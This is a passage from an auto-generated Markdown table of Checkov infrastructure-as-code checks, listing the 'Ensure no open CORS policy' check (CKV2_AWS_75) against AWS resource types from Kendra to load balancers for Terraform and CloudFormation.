|\n| 3996 | CKV2_AWS_75              | resource                         | aws_kendra_faq                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3997 | CKV2_AWS_75              | resource                         | aws_kendra_index                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3998 | CKV2_AWS_75              | resource                         | aws_kendra_index                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3999 | CKV2_AWS_75              | resource                         | aws_kendra_query_suggestions_block_list                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4000 | CKV2_AWS_75              | resource                         | aws_kendra_query_suggestions_block_list                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4001 | CKV2_AWS_75              | resource                         | aws_kendra_thesaurus                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4002 | CKV2_AWS_75              | resource                         | aws_kendra_thesaurus                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4003 | CKV2_AWS_75              | resource                         | aws_key_pair                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4004 | CKV2_AWS_75              | resource                         | aws_key_pair                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4005 | CKV2_AWS_75              | resource                         | aws_keyspaces_keyspace                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4006 | CKV2_AWS_75              | resource                         | aws_keyspaces_keyspace                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4007 | CKV2_AWS_75              | resource                         | aws_keyspaces_table                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4008 | CKV2_AWS_75              | resource                         | aws_keyspaces_table                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4009 | CKV2_AWS_75              | resource                         | aws_kinesis_analytics_application                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4010 | CKV2_AWS_75              | resource                         | aws_kinesis_analytics_application                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4011 | CKV2_AWS_75              | resource                         | aws_kinesis_firehose_delivery_stream                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4012 | CKV2_AWS_75              | resource                         | aws_kinesis_firehose_delivery_stream                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4013 | CKV2_AWS_75              | resource                         | aws_kinesis_resource_policy                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4014 | CKV2_AWS_75              | resource                         | aws_kinesis_resource_policy                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4015 | CKV2_AWS_75              | resource                         | aws_kinesis_stream                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4016 | CKV2_AWS_75              | resource                         | aws_kinesis_stream                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4017 | CKV2_AWS_75              | resource                         | aws_kinesis_stream_consumer                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4018 | CKV2_AWS_75              | resource                         | aws_kinesis_stream_consumer                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4019 | CKV2_AWS_75              | resource                         | aws_kinesis_video_stream                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4020 | CKV2_AWS_75              | resource                         | aws_kinesis_video_stream                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4021 | CKV2_AWS_75              | resource                         | aws_kinesisanalyticsv2_application                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4022 | CKV2_AWS_75              | resource                         | aws_kinesisanalyticsv2_application                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4023 | CKV2_AWS_75              | resource                         | aws_kinesisanalyticsv2_application_snapshot                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4024 | CKV2_AWS_75              | resource                         | aws_kinesisanalyticsv2_application_snapshot                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4025 | CKV2_AWS_75              | resource                         | aws_kms_alias                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4026 | CKV2_AWS_75              | resource                         | aws_kms_alias                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4027 | CKV2_AWS_75              | resource                         | aws_kms_ciphertext                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4028 | CKV2_AWS_75              | resource                         | aws_kms_ciphertext                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4029 | CKV2_AWS_75              | resource                         | aws_kms_custom_key_store                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4030 | CKV2_AWS_75              | resource                         | aws_kms_custom_key_store                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4031 | CKV2_AWS_75              | resource                         | aws_kms_external_key                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4032 | CKV2_AWS_75              | resource                         | aws_kms_external_key                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4033 | CKV2_AWS_75              | resource                         | aws_kms_grant                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4034 | CKV2_AWS_75              | resource                         | aws_kms_grant                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4035 | CKV2_AWS_75              | resource                         | aws_kms_key                                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4036 | CKV2_AWS_75              | resource                         | aws_kms_key                                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4037 | CKV2_AWS_75              | resource                         | aws_kms_key_policy                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4038 | CKV2_AWS_75              | resource                         | aws_kms_key_policy                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4039 | CKV2_AWS_75              | resource                         | aws_kms_replica_external_key                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4040 | CKV2_AWS_75              | resource                         | aws_kms_replica_external_key                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4041 | CKV2_AWS_75              | resource                         | aws_kms_replica_key                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4042 | CKV2_AWS_75              | resource                         | aws_kms_replica_key                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4043 | CKV2_AWS_75              | resource                         | aws_lakeformation_data_cells_filter                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4044 | CKV2_AWS_75              | resource                         | aws_lakeformation_data_cells_filter                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4045 | CKV2_AWS_75              | resource                         | aws_lakeformation_data_lake_settings                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4046 | CKV2_AWS_75              | resource                         | aws_lakeformation_data_lake_settings                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4047 | CKV2_AWS_75              | resource                         | aws_lakeformation_lf_tag                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4048 | CKV2_AWS_75              | resource                         | aws_lakeformation_lf_tag                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4049 | CKV2_AWS_75              | resource                         | aws_lakeformation_permissions                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4050 | CKV2_AWS_75              | resource                         | aws_lakeformation_permissions                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4051 | CKV2_AWS_75              | resource                         | aws_lakeformation_resource                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4052 | CKV2_AWS_75              | resource                         | aws_lakeformation_resource                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4053 | CKV2_AWS_75              | resource                         | aws_lakeformation_resource_lf_tag                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4054 | CKV2_AWS_75              | resource                         | aws_lakeformation_resource_lf_tag                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4055 | CKV2_AWS_75              | resource                         | aws_lakeformation_resource_lf_tags                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4056 | CKV2_AWS_75              | resource                         | aws_lakeformation_resource_lf_tags                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4057 | CKV2_AWS_75              | resource                         | aws_lambda_alias                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4058 | CKV2_AWS_75              | resource                         | aws_lambda_alias                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4059 | CKV2_AWS_75              | resource                         | aws_lambda_code_signing_config                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4060 | CKV2_AWS_75              | resource                         | aws_lambda_code_signing_config                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4061 | CKV2_AWS_75              | resource                         | aws_lambda_event_source_mapping                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4062 | CKV2_AWS_75              | resource                         | aws_lambda_event_source_mapping                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4063 | CKV2_AWS_75              | resource                         | aws_lambda_function                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4064 | CKV2_AWS_75              | resource                         | aws_lambda_function                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4065 | CKV2_AWS_75              | resource                         | aws_lambda_function_event_invoke_config                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4066 | CKV2_AWS_75              | resource                         | aws_lambda_function_event_invoke_config                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4067 | CKV2_AWS_75              | resource                         | aws_lambda_function_recursion_config                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4068 | CKV2_AWS_75              | resource                         | aws_lambda_function_recursion_config                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4069 | CKV2_AWS_75              | resource                         | aws_lambda_function_url                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4070 | CKV2_AWS_75              | resource                         | aws_lambda_function_url                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4071 | CKV2_AWS_75              | resource                         | aws_lambda_invocation                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4072 | CKV2_AWS_75              | resource                         | aws_lambda_invocation                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4073 | CKV2_AWS_75              | resource                         | aws_lambda_layer_version                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4074 | CKV2_AWS_75              | resource                         | aws_lambda_layer_version                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4075 | CKV2_AWS_75              | resource                         | aws_lambda_layer_version_permission                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4076 | CKV2_AWS_75              | resource                         | aws_lambda_layer_version_permission                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4077 | CKV2_AWS_75              | resource                         | aws_lambda_permission                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4078 | CKV2_AWS_75              | resource                         | aws_lambda_permission                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4079 | CKV2_AWS_75              | resource                         | aws_lambda_provisioned_concurrency_config                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4080 | CKV2_AWS_75              | resource                         | aws_lambda_provisioned_concurrency_config                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4081 | CKV2_AWS_75              | resource                         | aws_lambda_runtime_management_config                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4082 | CKV2_AWS_75              | resource                         | aws_lambda_runtime_management_config                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4083 | CKV2_AWS_75              | resource                         | aws_launch_configuration                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4084 | CKV2_AWS_75              | resource                         | aws_launch_configuration                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4085 | CKV2_AWS_75              | resource                         | aws_launch_template                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4086 | CKV2_AWS_75              | resource                         | aws_launch_template                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4087 | CKV2_AWS_75              | resource                         | aws_lb                                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4088 | CKV2_AWS_75              | resource                         | aws_lb                                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4089 | CKV2_AWS_75              | resource                         | aws_lb_cookie_stickiness_policy                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | 